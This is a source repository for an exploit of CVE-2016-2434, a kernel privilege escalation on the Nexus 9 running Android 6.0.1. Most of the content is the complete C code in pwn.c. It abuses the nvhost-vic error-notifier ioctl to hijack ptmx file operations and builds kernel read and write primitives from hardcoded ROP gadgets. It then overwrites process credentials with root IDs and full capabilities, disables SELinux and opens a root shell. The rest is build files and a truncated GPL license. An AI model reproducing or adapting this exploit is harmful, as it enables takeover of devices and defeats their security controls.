├── README.md
├── jni
    ├── Application.mk
    ├── Android.mk
    ├── syscall.S
    └── pwn.c
└── LICENSE


/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2016-2434


--------------------------------------------------------------------------------
/jni/Application.mk:
--------------------------------------------------------------------------------
1 | LOCAL_PATH := $(call my-dir)
2 | 
3 | include $(CLEAR_VARS)
4 | APP_ABI:= arm64-v8a
5 | 
6 | 


--------------------------------------------------------------------------------
/jni/Android.mk:
--------------------------------------------------------------------------------
1 | LOCAL_PATH := $(call my-dir)
2 | 
3 | include $(CLEAR_VARS)
4 | LOCAL_MODULE    := pwn
5 | LOCAL_SRC_FILES := pwn.c syscall.S
6 | 
7 | include $(BUILD_EXECUTABLE)
8 | 


--------------------------------------------------------------------------------
/jni/syscall.S:
--------------------------------------------------------------------------------
 1 | /*
 2 |  * Exploit for CVE-2016-2434 (AndroidID-27251090)
 3 |  *
 4 |  * Just for Nexus 9 MMB29R, if you want to run on other version, some symbol address should be changed
 5 |  *
 6 |  * shell@flounder:/ $ getprop ro.build.fingerprint 
 7 |  * google/volantis/flounder:6.0.1/MMB29R/2482564:user/release-keys
 8 |  *
 9 |  * By Jianqiang Zhao (zhaojianqiang1@gmail.com, twitter: @jianqiangzhao)
10 |  *
11 |  * 2-22-2016
12 |  */
13 | 
14 | #define __ASSEMBLY__
15 | 
16 | #define ALIGN		.align 4,0x90
17 | 
18 | #ifndef ENTRY
19 | #define ENTRY(name) \
20 |   .globl name; \
21 |   ALIGN; \
22 |   name:
23 | #endif
24 | 
25 | #ifndef END
26 | #define END(name) \
27 |   .size name, .-name
28 | #endif
29 | 
30 | 
31 | /*
32 | 00000000000198e4 <syscall>:
33 |    198e4:       aa0003e8        mov     x8, x0
34 |    198e8:       aa0103e0        mov     x0, x1
35 |    198ec:       aa0203e1        mov     x1, x2
36 |    198f0:       aa0303e2        mov     x2, x3
37 |    198f4:       aa0403e3        mov     x3, x4
38 |    198f8:       aa0503e4        mov     x4, x5
39 |    198fc:       aa0603e5        mov     x5, x6
40 |    19900:       d4000001        svc     #0x0
41 |    19904:       b140041f        cmn     x0, #0x1, lsl #12
42 |    19908:       da809400        cneg    x0, x0, hi
43 |    1990c:       54040728        b.hi    219f0 <__set_errno_internal>
44 |    19910:       d65f03c0        ret
45 | */
46 | 
47 | ENTRY(eabi_syscall)
48 | 	mov     x8, x0
49 | 	mov     x0, x1
50 | 	mov     x1, x2
51 | 	mov     x2, x3
52 | 	mov     x3, x4
53 | 	mov     x4, x5
54 | 	mov     x5, x6
55 | 	svc     #0x0
56 | 	ret
57 | END(eabi_syscall)
58 | 
59 | 


--------------------------------------------------------------------------------
/jni/pwn.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * Exploit for CVE-2016-2434 (AndroidID-27251090)
  3 |  *
  4 |  * Just for Nexus 9 MMB29R, if you want to run on other version, some symbol address should be changed
  5 |  *
  6 |  * shell@flounder:/ $ getprop ro.build.fingerprint 
  7 |  * google/volantis/flounder:6.0.1/MMB29R/2482564:user/release-keys
  8 |  *
  9 |  * By Jianqiang Zhao (zhaojianqiang1@gmail.com, twitter: @jianqiangzhao)
 10 |  *
 11 |  * 2-22-2016
 12 |  */
 13 | 
 14 | #include <sys/types.h>  
 15 | #include <sys/ioctl.h>  
 16 | #include <stdio.h>  
 17 | #include <stdlib.h>  
 18 | #include <unistd.h>  
 19 | #include <string.h>  
 20 | #include <fcntl.h>  
 21 | #include <errno.h>
 22 | #include <stdbool.h>
 23 | #include <sys/mman.h>
 24 | #include <sys/prctl.h>
 25 | #include <sys/syscall.h>
 26 | 
 27 | #define ioctl_syscall(n, efd, cmd, arg) \
 28 | 	eabi_syscall(n, efd, cmd, arg)
 29 | 
 30 | #define NVHOST_IOCTL_MAGIC 'H'
 31 | 
 32 | #define NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER  \
 33 | 	_IOWR(NVHOST_IOCTL_MAGIC, 111, struct nvhost_set_error_notifier)
 34 | 
 35 | #define NVMAP_IOC_MAGIC 'N'
 36 | 
 37 | #define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
 38 | 
 39 | #define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
 40 | 
 41 | #define NVMAP_HEAP_IOVMM   (1ul<<30)
 42 | 
 43 | #define NVMAP_HANDLE_WRITE_COMBINE   (0x1ul << 0)
 44 | 
 45 | struct nvhost_set_error_notifier {
 46 | 	__u64 offset;
 47 | 	__u64 size;
 48 | 	__u32 mem;
 49 | 	__u32 padding;
 50 | };
 51 | 
 52 | struct nvmap_create_handle {
 53 | 	union {
 54 | 		__u32 id;       /* FromId */
 55 | 		__u32 size;     /* CreateHandle */
 56 | 		__s32 fd;       /* DmaBufFd or FromFd */
 57 | 	};
 58 | 	__u32 handle;           /* returns nvmap handle */
 59 | };
 60 | 
 61 | struct nvmap_alloc_handle {
 62 | 	__u32 handle;           /* nvmap handle */
 63 | 	__u32 heap_mask;        /* heaps to allocate from */
 64 | 	__u32 flags;            /* wb/wc/uc/iwb etc. */
 65 | 	__u32 align;            /* min alignment necessary */
 66 | };
 67 | 
 68 | #define NEW_PROC_NAME		"My-Expl0it"
 69 | #define KERNEL_BASE		0xffffffc000000000
 70 | 
 71 | #define PTMX_MISC		0xffffffc0010aa500
 72 | #define PTMX_FOPS		0xffffffc0010aa420
 73 | #define PTMX_LLSEEK		0xffffffc000194630
 74 | #define PTMX_READ		0xffffffc0003ed2a8
 75 | #define PTMX_WRITE		0xffffffc0003ed8d4
 76 | #define PTMX_POLL		0xffffffc0003ed468
 77 | #define PTMX_IOCTL		0xffffffc0003efe2c
 78 | #define COMPAT_PTMX_IOCTL	0xffffffc0003ed388
 79 | #define PTMX_OPEN		0xffffffc0003f8974
 80 | #define PTMX_RELEASE		0xffffffc0003ef5b8
 81 | #define PTMX_FASYNC		0xffffffc0003ed254
 82 | 
 83 | #define SELINUX_ENFORCING	0xffffffc00109cb0c
 84 | #define INIT_TASK		0xffffffc000e58820
 85 | 
 86 | /*
 87 |  * rop read:
 88 |  * ffffffc00033d7f8:       f9400840        ldr     x0, [x2,#16]
 89 |  * ffffffc00033d7fc:       d65f03c0        ret
 90 |  */
 91 | #define ROP_READ	0xffffffc00033d7f8
 92 | 
 93 | /*
 94 |  * rop write:
 95 |  * ffffffc00082836c:       b9001041        str     w1, [x2,#16]
 96 |  * ffffffc000828370:       d65f03c0        ret
 97 |  */
 98 | #define ROP_WRITE	0xffffffc00082836c
 99 | 
100 | static unsigned long my_task = 0;
101 | static unsigned int task_offset = 616, comm_offset = 1168, cred_offset = 1160;
102 | 
103 | static int ptmx_fd = 0;
104 | static unsigned long fake_ptmx_fops = 0;
105 | 
106 | static int kernel_read_32(unsigned long addr, unsigned int *val);
107 | static int kernel_read(unsigned long addr, unsigned long *val);
108 | static int kernel_write_32(unsigned long address, unsigned int value);
109 | static int kernel_write(unsigned long addr, unsigned long val);
110 | 
111 | static int get_task_by_comm(unsigned long *task)
112 | {
113 | 	unsigned int comm0, comm1, comm2;
114 | 	unsigned long task_list, init_task_list, addr;
115 | 	int i, ret = 0;
116 | 	char task_name[50] = {0};
117 | 
118 | 	/* 
119 | 	 * follow the init_task->task list to search myself:
120 | 	 * next: swapper->init->kthreadd->... 
121 | 	 * pre:  swapper->...->myself->... 
122 | 	 */
123 | 	task_list = (INIT_TASK + task_offset);
124 | 	init_task_list = task_list;
125 | 	for(i=0; i<1000; i++) {
126 | 		/* search self process from tail */
127 | 		addr = task_list + 8;
128 | 		ret = kernel_read(addr, &task_list);
129 | 
130 | 		if(task_list == init_task_list) {
131 | 			printf("search task list end, can't get task\n");
132 | 			return -1;
133 | 		}
134 | 
135 | 		addr = task_list - task_offset + comm_offset;
136 | 		ret = kernel_read_32(addr, &comm0);
137 | 
138 | 		addr = task_list - task_offset + comm_offset + 4;
139 | 		ret = kernel_read_32(addr, &comm1);
140 | 
141 | 		addr = task_list - task_offset + comm_offset + 4 * 2;
142 | 		ret = kernel_read_32(addr, &comm2);
143 | 
144 | 		memcpy(task_name, &comm0, 4);
145 | 		memcpy(task_name + 4, &comm1, 4);
146 | 		memcpy(task_name + 8, &comm2, 4);
147 | 		if(!strncmp(task_name, NEW_PROC_NAME, strlen(NEW_PROC_NAME))) {
148 | 			*task = task_list - task_offset;
149 | 			break;
150 | 		}
151 | 
152 | 	}
153 | 
154 | 	return 0;
155 | }
156 | 
157 | static int do_root(void)
158 | {
159 | 	int ret;
160 | 	unsigned long i, cred, addr;
161 | 	unsigned int tmp0;
162 | 
163 | 	/* search myself */
164 | 	ret = get_task_by_comm(&my_task);
165 | 	if(ret != 0) {
166 | 		printf("[-] get myself fail!\n");
167 | 		return -1;
168 | 	}
169 | 
170 | 	if(!my_task || (my_task < 0xffffffc000000000)) {
171 | 		printf("invalid task address!");
172 | 		return -2;
173 | 	}
174 | 
175 | 	ret = kernel_read(my_task + cred_offset, &cred);
176 | 	if (cred < KERNEL_BASE) return -3;
177 | 
178 | 	i = 1;
179 | 	addr = cred + 4 * 4;
180 | 	ret = kernel_read_32(addr, &tmp0);
181 | 	if(tmp0 == 0x43736564 || tmp0 == 0x44656144)
182 | 		i += 4;
183 | 
184 | 	addr = cred + (i+0) * 4;
185 | 	ret = kernel_write_32(addr, 0);
186 | 	addr = cred + (i+1) * 4;
187 | 	ret = kernel_write_32(addr, 0);
188 | 	addr = cred + (i+2) * 4;
189 | 	ret = kernel_write_32(addr, 0);
190 | 	addr = cred + (i+3) * 4;
191 | 	ret = kernel_write_32(addr, 0);
192 | 	addr = cred + (i+4) * 4;
193 | 	ret = kernel_write_32(addr, 0);
194 | 	addr = cred + (i+5) * 4;
195 | 	ret = kernel_write_32(addr, 0);
196 | 	addr = cred + (i+6) * 4;
197 | 	ret = kernel_write_32(addr, 0);
198 | 	addr = cred + (i+7) * 4;
199 | 	ret = kernel_write_32(addr, 0);
200 | 
201 | 	//securebits: cred[i+8]
202 | 	// for full capabilities
203 | 	addr = cred + (i+9) * 4;
204 | 	ret = kernel_write_32(addr, 0xffffffff);
205 | 	addr = cred + (i+10) * 4;
206 | 	ret = kernel_write_32(addr, 0xffffffff);
207 | 	addr = cred + (i+11) * 4;
208 | 	ret = kernel_write_32(addr, 0xffffffff);
209 | 	addr = cred + (i+12) * 4;
210 | 	ret = kernel_write_32(addr, 0xffffffff);
211 | 	addr = cred + (i+13) * 4;
212 | 	ret = kernel_write_32(addr, 0xffffffff);
213 | 	addr = cred + (i+14) * 4;
214 | 	ret = kernel_write_32(addr, 0xffffffff);
215 | 	addr = cred + (i+15) * 4;
216 | 	ret = kernel_write_32(addr, 0xffffffff);
217 | 	addr = cred + (i+16) * 4;
218 | 	ret = kernel_write_32(addr, 0xffffffff);
219 | 	/* success! */
220 | 
221 | 	// disable SELinux
222 | 	kernel_write_32(SELINUX_ENFORCING, 0);
223 | 
224 | 	return 0;
225 | }
226 | 
227 | static void restore(void)
228 | {
229 | 	unsigned long addr;
230 | 
231 | 	// restore ptmx_cdev->ops
232 | 	addr = PTMX_MISC + 8 * 10 - 4;
233 | 	kernel_write_32(addr, 0xffffffc0);
234 | 
235 | 	// reinit ptmx_cdev->list
236 | 	addr = PTMX_MISC + 8 * 10;
237 | 	kernel_write(addr, addr);
238 | 	kernel_write(addr + 8, addr);
239 | }
240 | 
241 | static int map_nvmap_handle(unsigned int *handle)
242 | {
243 | 	int nvmap_fd, ret = 0;
244 | 	unsigned int cmd;
245 | 	struct nvmap_create_handle nvmap_arg;
246 | 	struct nvmap_alloc_handle alloc_arg;
247 | 	unsigned int nvmap_handle;
248 | 
249 | 	nvmap_fd = open("/dev/nvmap", O_RDONLY, 0);
250 | 	if(nvmap_fd < 0) {
251 | 		ret = -1;
252 | 		printf("[-] Failed to open nvmap device (%d-%s)\n", errno, strerror(errno));
253 | 		goto out;
254 | 	}
255 | 
256 | 	memset(&nvmap_arg, 0, sizeof(nvmap_arg));
257 | 	nvmap_arg.size = 0x10000;
258 | 
259 | 	cmd = NVMAP_IOC_CREATE;
260 | 	ret = ioctl(nvmap_fd, cmd, &nvmap_arg);
261 | 	if(ret == -1) {
262 | 		printf("[-] Ioctl nvmap fail(%s - %d)\n", strerror(errno), errno);
263 | 		goto ioctl_fail;
264 | 	}
265 | 
266 | 	nvmap_handle = nvmap_arg.handle;
267 | 
268 | 	memset(&alloc_arg, 0, sizeof(alloc_arg));
269 | 	alloc_arg.handle = nvmap_handle;
270 | 	alloc_arg.align = 0x1000;
271 | 	alloc_arg.heap_mask = NVMAP_HEAP_IOVMM;
272 | 	alloc_arg.flags = NVMAP_HANDLE_WRITE_COMBINE;
273 | 
274 | 	cmd = NVMAP_IOC_ALLOC;
275 | 	ret = ioctl(nvmap_fd, cmd, &alloc_arg);
276 | 	if(ret == -1) {
277 | 		printf("[-] Ioctl nvmap fail(%s - %d)\n", strerror(errno), errno);
278 | 		goto ioctl_fail;
279 | 	}
280 | 
281 | 	*handle = nvmap_handle;
282 | 
283 | ioctl_fail:
284 | 	close(nvmap_fd);
285 | out:
286 | 	return ret;
287 | }
288 | 
289 | static int kernel_write_32(unsigned long addr, unsigned int val)
290 | {
291 | 	unsigned long arg;
292 | 
293 | 	*(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE;
294 | 
295 | 	arg = addr - 16;
296 | 	ioctl_syscall(__NR_ioctl, ptmx_fd, val, arg);
297 | 	return 0;
298 | }
299 | 
300 | static int kernel_write(unsigned long addr, unsigned long val)
301 | {
302 | 	unsigned int val32;
303 | 
304 | 	val32 = (unsigned int)val;
305 | 	kernel_write_32(addr, val32);
306 | 
307 | 	val32 = (unsigned int)((val >> 32) & 0xffffffff);
308 | 	kernel_write_32(addr + 4, val32);
309 | 	return 0;
310 | }
311 | 
312 | static int kernel_read_32(unsigned long addr, unsigned int *val)
313 | {
314 | 	int ret;
315 | 	unsigned long arg;
316 | 
317 | 	*(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_READ;
318 | 	arg = addr - 16;
319 | 	errno = 0;
320 | 	ret = ioctl_syscall(__NR_ioctl, ptmx_fd, 0xdeadbeef, arg);
321 | 	*val = ret;
322 | 
323 | 	return 0;
324 | }
325 | 
326 | static int kernel_read(unsigned long address, unsigned long *value)
327 | {
328 | 	unsigned int val0, val1;
329 | 
330 | 	kernel_read_32(address, &val0);
331 | 	kernel_read_32(address + 4, &val1);
332 | 	*value = ((unsigned long)val0 & 0xffffffff | ((unsigned long)val1 << 32) & 0xffffffff00000000);
333 | }
334 | 
335 | static int rop_init(void)
336 | {
337 | 	ptmx_fd = open("/dev/ptmx", O_RDONLY);
338 | 	if(ptmx_fd == -1) {
339 | 		printf("[-] Open ptmx fail (%s - %d)\n", strerror(errno), errno);
340 | 		return -1;
341 | 	}
342 | 
343 | 	return 0;
344 | }
345 | 
346 | static int rop_close(void)
347 | {
348 | 	close(ptmx_fd);
349 | 	return 0;
350 | }
351 | 
352 | static int get_root(void)
353 | {
354 | 	int fd, i, ret = 0;
355 | 	unsigned int cmd;
356 | 	struct nvhost_set_error_notifier arg;
357 | 	unsigned int nvmap_handle;
358 | 	void *map, *map2;
359 | 	unsigned long tmp, va;
360 | 
361 | 	ret = map_nvmap_handle(&nvmap_handle);
362 | 	if(ret == -1){
363 | 		goto out;
364 | 	}
365 | 	printf("[+] alloc nvmap handle: %d\n", nvmap_handle);
366 | 
367 | 	map = mmap(NULL, (size_t)0x10000000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0);
368 | 	if(map == MAP_FAILED) {
369 | 		printf("[-] Failed to mmap landing (%d-%s)\n", errno, strerror(errno));
370 | 		ret = -1;
371 | 		goto out;
372 | 	}
373 | 	printf("[+] landing mmap'ed @ %p\n", map);
374 | 	memset(map, 0xff, 0x10000000);
375 | 
376 | 	fd = open("/dev/nvhost-vic", O_RDONLY);
377 | 	if(fd == -1) {
378 | 		printf("[-] Open nvhost-vic fail (%s - %d)\n", strerror(errno), errno);
379 | 		ret = -1;
380 | 		goto open_vic_out;
381 | 	}
382 | 	printf("[+] open device nvhost-vic\n");
383 | 
384 | 	memset(&arg, 0, sizeof(arg));
385 | 	arg.mem = nvmap_handle;
386 | 	arg.offset = (unsigned long)map - 0xffffff8000000000;
387 | 	arg.size = 0;
388 | 	cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;
389 | 	ret = ioctl(fd, cmd, &arg);
390 | 	if(ret == -1) {
391 | 		printf("[-] Ioctl nvhost-vic fail(%s - %d)\n", strerror(errno), errno);
392 | 		goto ioctl_out;
393 | 	}
394 | 
395 | 	for(i=0; i<0x10000000/8; i++) {
396 | 		tmp = *((unsigned long*)map + i);
397 | 		if(tmp == 0) {
398 | 			break;
399 | 		}
400 | 	}
401 | 
402 | 	va = 0xffffff8000000000 + i * 8;
403 | 	printf("[+] va position: 0x%lx\n", va);
404 | 
405 | 	map2 = mmap((void *)0x00010000, (size_t)0x10000000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, -1, (off_t)0);
406 | 	if(map2 == MAP_FAILED) {
407 | 		ret = -1;
408 | 		printf("[-] shellcode mmap failed (%d-%s)\n", errno, strerror(errno));
409 | 		goto ioctl_out;
410 | 	}
411 | 	printf("[+] prepare fake_ptmx_fops, mmap'ed @ %p.\n", map2);
412 | 	memset(map2, 0, 0x10000000);
413 | 
414 | 	fake_ptmx_fops = PTMX_FOPS & 0xffffffff;
415 | 	*(unsigned long*)(fake_ptmx_fops + 1 * 8) = PTMX_LLSEEK;
416 | 	*(unsigned long*)(fake_ptmx_fops + 2 * 8) = PTMX_READ;
417 | 	*(unsigned long*)(fake_ptmx_fops + 3 * 8) = PTMX_WRITE;
418 | 	*(unsigned long*)(fake_ptmx_fops + 8 * 8) = PTMX_POLL;
419 | 	*(unsigned long*)(fake_ptmx_fops + 9 * 8) = PTMX_IOCTL;
420 | 	*(unsigned long*)(fake_ptmx_fops + 10 * 8) = COMPAT_PTMX_IOCTL;
421 | 	*(unsigned long*)(fake_ptmx_fops + 12 * 8) = PTMX_OPEN;
422 | 	*(unsigned long*)(fake_ptmx_fops + 14 * 8) = PTMX_RELEASE;
423 | 	*(unsigned long*)(fake_ptmx_fops + 17 * 8) = PTMX_FASYNC;
424 | 
425 | 	printf("[+] clear ptmx_cdev list first\n");
426 | 	memset(&arg, 0, sizeof(arg));
427 | 	arg.mem = nvmap_handle;
428 | 	arg.offset = PTMX_MISC - va + 8 * 10;
429 | 	arg.size = 0;
430 | 
431 | 	cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;
432 | 	ret = ioctl(fd, cmd, &arg);
433 | 	if(ret == -1) {
434 | 		printf("[-] Ioctl nvhost-vic fail(%s - %d)\n", strerror(errno), errno);
435 | 		goto ioctl_out_2;
436 | 	}
437 | 
438 | 	printf("[+] overwrite ptmx_cdev ops\n");
439 | 	memset(&arg, 0, sizeof(arg));
440 | 	arg.mem = nvmap_handle;
441 | 	arg.offset = PTMX_MISC - va + 8 * 10 - 4;
442 | 	arg.size = 0;
443 | 
444 | 	cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;
445 | 	ret = ioctl(fd, cmd, &arg);
446 | 	if(ret == -1) {
447 | 		printf("[-] Ioctl nvhost-vic fail(%s - %d)\n", strerror(errno), errno);
448 | 		goto ioctl_out_2;
449 | 	}
450 | 
451 | 	rop_init();
452 | 
453 | 	printf("[+] to get root ...\n");
454 | 	do_root();
455 | 
456 | 	printf("[+] restore \n");
457 | 	restore();
458 | 
459 | 	rop_close();
460 | 
461 | ioctl_out_2:
462 | 	munmap(map2, 0x10000000);
463 | ioctl_out:
464 | 	close(fd);
465 | open_vic_out:
466 | 	munmap(map, 0x10000000);
467 | out:
468 | 	return ret;
469 | }
470 | 
471 | static void banner(void)
472 | {
473 | 	printf("\n");
474 | 	printf("*****************************************************************\n");
475 | 	printf("*	     Exploit for CVE-2016-2434 (AndroidID-27251090)	*\n");
476 | 	printf("*	        	For Nexus 9 MMB29R			*\n");
477 | 	printf("*			By Jianqiang Zhao 			*\n");
478 | 	printf("*			   2-22-2016				*\n");
479 | 	printf("*****************************************************************\n");
480 | 	printf("\n");
481 | }
482 | 
483 | int main(void)
484 | {
485 | 	int ret;
486 | 
487 | 	banner();
488 | 
489 | 	prctl(PR_SET_NAME, (unsigned long)NEW_PROC_NAME,0,0,0);
490 | 
491 | 	ret = get_root();
492 | 	if(ret == -1) {
493 | 		printf("[-] get root fail\n");
494 | 		return -1;
495 | 	}
496 | 
497 | 	printf("[+] SELinux disabled! \n");
498 | 	if (!setresuid(0, 0, 0)) {
499 | 		setresgid(0, 0, 0);
500 | 		printf("\n[+] Got it :)\n");
501 | 		printf("[+] uid=%d gid=%d\n", getuid(), getgid());
502 | 		sleep(1);
503 | 		ret = execl("/system/bin/sh", "/system/bin/sh", NULL);
504 | 		if( ret ) {
505 | 			printf("execl failed, errno %d\n", errno);
506 | 		}
507 | 	}
508 | 
509 | 	return 0;
510 | }
511 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
  1 |                     GNU GENERAL PUBLIC LICENSE
  2 |                        Version 2, June 1991
  3 | 
  4 |  Copyright (C) 1989, 1991 Free Software Foundation, Inc., <http://fsf.org/>
  5 |  51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  6 |  Everyone is permitted to copy and distribute verbatim copies
  7 |  of this license document, but changing it is not allowed.
  8 | 
  9 |                             Preamble
 10 | 
 11 |   The licenses for most software are designed to take away your
 12 | freedom to share and change it.  By contrast, the GNU General Public
 13 | License is intended to guarantee your freedom to share and change free
 14 | software--to make sure the software is free for all its users.  This
 15 | General Public License applies to most of the Free Software
 16 | Foundation's software and to any other program whose authors commit to
 17 | using it.  (Some other Free Software Foundation software is covered by
 18 | the GNU Lesser General Public License instead.)  You can apply it to
 19 | your programs, too.
 20 | 
 21 |   When we speak of free software, we are referring to freedom, not
 22 | price.  Our General Public Licenses are designed to make sure that you
 23 | have the freedom to distribute copies of free software (and charge for
 24 | this service if you wish), that you receive source code or can get it
 25 | if you want it, that you can change the software or use pieces of it
 26 | in new free programs; and that you know you can do these things.
 27 | 
 28 |   To protect your rights, we need to make restrictions that forbid
 29 | anyone to deny you these rights or to ask you to surrender the rights.
 30 | These restrictions translate to certain responsibilities for you if you
 31 | distribute copies of the software, or if you modify it.
 32 | 
 33 |   For example, if you distribute copies of such a program, whether
 34 | gratis or for a fee, you must give the recipients all the rights that
 35 | you have.  You must make sure that they, too, receive or can get the
 36 | source code.  And you must show them these terms so they know their
 37 | rights.
 38 | 
 39 |   We protect your rights with two steps: (1) copyright the software, and
 40 | (2) offer you this license which gives you legal permission to copy,
 41 | distribute and/or modify the software.
 42 | 
 43 |   Also, for each author's protection and ours, we want to make certain
 44 | that everyone understands that there is no warranty for this free
 45 | software.  If the software is modified by someone else and passed on, we
 46 | want its recipients to know that what they have is not the original, so
 47 | that any problems introduced by others will not reflect on the original
 48 | authors' reputations.
 49 | 
 50 |   Finally, any free program is threatened constantly by software
 51 | patents.  We wish to avoid the danger that redistributors of a free
 52 | program will individually obtain patent licenses, in effect making the
 53 | program proprietary.  To prevent this, we have made it clear that any
 54 | patent must be licensed for everyone's free use or not licensed at all.
 55 | 
 56 |   The precise terms and conditions for copying, distribution and
 57 | modification follow.
 58 | 
 59 |                     GNU GENERAL PUBLIC LICENSE
 60 |    TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
 61 | 
 62 |   0. This License applies to any program or other work which contains
 63 | a notice placed by the copyright holder saying it may be distributed
 64 | under the terms of this General Public License.  The "Program", below,
 65 | refers to any such program or work, and a "work based on the Program"
 66 | means either the Program or any derivative work under copyright law:
 67 | that is to say, a work containing the Program or a portion of it,
 68 | either verbatim or with modifications and/or translated into another
 69 | language.  (Hereinafter, translation is included without limitation in
 70 | the term "modification".)  Each licensee is addressed as "you".
 71 | 
 72 | Activities other than copying, distribution and modification are not
 73 | covered by this License; they are outside its scope.  The act of
 74 | running the Program is not restricted, and the output from the Program
 75 | is covered only if its contents constitute a work based on the
 76 | Program (independent of having been made by running the Program).
 77 | Whether that is true depends on what the Program does.
 78 | 
 79 |   1. You may copy and distribute verbatim copies of the Program's
 80 | source code as you receive it, in any medium, provided that you
 81 | conspicuously and appropriately publish on each copy an appropriate
 82 | copyright notice and disclaimer of warranty; keep intact all the
 83 | notices that refer to this License and to the absence of any warranty;
 84 | and give any other recipients of the Program a copy of this License
 85 | along with the Program.
 86 | 
 87 | You may charge a fee for the physical act of transferring a copy, and
 88 | you may at your option offer warranty protection in exchange for a fee.
 89 | 
 90 |   2. You may modify your copy or copies of the Program or any portion
 91 | of it, thus forming a work based on the Program, and copy and
 92 | distribute such modifications or work under the terms of Section 1
 93 | above, provided that you also meet all of these conditions:
 94 | 
 95 |     a) You must cause the modified files to carry prominent notices
 96 |     stating that you changed the files and the date of any change.
 97 | 
 98 |     b) You must cause any work that you distribute or publish, that in
 99 |     whole or in part contains or is derived from the Program or any
100 |     part thereof, to be licensed as a whole at no charge to all third
101 |     parties under the terms of this License.
102 | 
103 |     c) If the modified program normally reads commands interactively
104 |     when run, you must cause it, when started running for such
105 |     interactive use in the most ordinary way, to print or display an
106 |     announcement including an appropriate copyright notice and a
107 |     notice that there is no warranty (or else, saying that you provide
108 |     a warranty) and that users may redistribute the program under
109 |     these conditions, and telling the user how to view a copy of this
110 |     License.  (Exception: if the Program itself is interactive but
111 |     does not normally print such an announcement, your work based on
112 |     the Program is not required to print an announcement.)
113 | 
114 | These requirements apply to the modified work as a whole.  If
115 | identifiable sections of that work are not derived from the Program,
116 | and can be reasonably considered independent and separate works in
117 | themselves, then this License, and its terms, do not apply to those
118 | sections when you distribute them as separate works.  But when you
119 | distribute the same sections as part of a whole which is a work based
120 | on the Program, the distribution of the whole must be on the terms of
121 | this License, whose permissions for other licensees extend to the
122 | entire whole, and thus to each and every part regardless of who wrote it.
123 | 
124 | Thus, it is not the intent of this section to claim rights or contest
125 | your rights to work written entirely by you; rather, the intent is to
126 | exercise the right to control the distribution of derivative or
127 | collective works based on the Program.
128 | 
129 | In addition, mere aggregation of another work not based on the Program
130 | with the Program (or with a work based on the Program) on a volume of
131 | a storage or distribution medium does not bring the other work under
132 | the scope of this License.
133 | 
134 |   3. You may copy and distribute the Program (or a work based on it,
135 | under Section 2) in object code or executable form under the terms of
136 | Sections 1 and 2 above provided that you also do one of the following:
137 | 
138 |     a) Accompany it with the complete corresponding machine-readable
139 |     source code, which must be distributed under the terms of Sections
140 |     1 and 2 above on a medium customarily used for software interchange; or,
141 | 
142 |     b) Accompany it with a written offer, valid for at least three
143 |     years, to give any third party, for a charge no more than your
144 |     cost of physically performing source distribution, a complete
145 |     machine-readable copy of the corresponding source code, to be
146 |     distributed under the terms of Sections 1 and 2 above on a medium
147 |     customarily used for software interchange; or,
148 | 
149 |     c) Accompany it with the information you received as to the offer
150 |     to distribute corresponding source code.  (This alternative is
151 |     allowed only for noncommercial distribution and only if you
152 |     received the program in object code or executable form with such
153 |     an offer, in accord with Subsection b above.)
154 | 
155 | The source code for a work means the preferred form of the work for
156 | making modifications to it.  For an executable work, complete source
157 | code means all the source code for all modules it contains, plus any
158 | associated interface definition files, plus the scripts used to
159 | control compilation and installation of the executable.  However, as a
160 | special exception, the source code distributed need not include
161 | anything that is normally distributed (in either source or binary
162 | form) with the major components (compiler, kernel, and so on) of the
163 | operating system on which the executable runs, unless that component
164 | itself accompanies the executable.
165 | 
166 | If distribution of executable or object code is made by offering
167 | access to copy from a designated place, then offering equivalent
168 | access to copy the source code from the same place counts as
169 | distribution of the source code, even though third parties are not
170 | compelled to copy the source along with the object code.
171 | 
172 |   4. You may not copy, modify, sublicense, or distribute the Program
173 | except as expressly provided under this License.  Any attempt
174 | otherwise to copy, modify, sublicense or distribute the Program is
175 | void, and will automatically terminate your rights under this License.
176 | However, parties who have received copies, or rights, from you under
177 | this License will not have their licenses terminated so long as such
178 | parties remain in full compliance.
179 | 
180 |   5. You are not required to accept this License, since you have not
181 | signed it.  However, nothing else grants you permission to modify or
182 | distribute the Program or its derivative works.  These actions are
183 | prohibited by law if you do not accept this License.  Therefore, by
184 | modifying or distributing the Program (or any work based on the
185 | Program), you indicate your acceptance of this License to do so, and
186 | all its terms and conditions for copying, distributing or modifying
187 | the Program or works based on it.
188 | 
189 |   6. Each time you redistribute the Program (or any work based on the
190 | Program), the recipient automatically receives a license from the
191 | original licensor to copy, distribute or modify the Program subject to
192 | these terms and conditions.  You may not impose any further
193 | restrictions on the recipients' exercise of the rights granted herein.
194 | You are not responsible for enforcing compliance by third parties to
195 | this License.
196 | 
197 |   7. If, as a consequence of a court judgment or allegation of patent
198 | infringement or for any other reason (not limited to patent issues),
199 | conditions are imposed on you (whether by court order, agreement or
200 | otherwise) that contradict the conditions of this License, they do not
201 | excuse you from the conditions of this License.  If you cannot
202 | distribute so as to satisfy simultaneously your obligations under this
203 | License and any other pertinent obligations, then as a consequence you
204 | may not distribute the Program at all.  For example, if a patent
205 | license would not permit royalty-free redistribution of the Program by
206 | all those who receive copies directly or indirectly through you, then
207 | the only way you could satisfy both it and this License would be to
208 | refrain entirely from distribution of the Program.
209 | 
210 | If any portion of this section is held invalid or unenforceable under
211 | any particular circumstance, the balance of the section is intended to
212 | apply and the section as a whole is intended to apply in other
213 | circumstances.
214 | 
215 | It is not the purpose of this section to induce you to infringe any
216 | patents or other property right claims or to contest validity of any
217 | such claims; this section has the sole purpose of protecting the
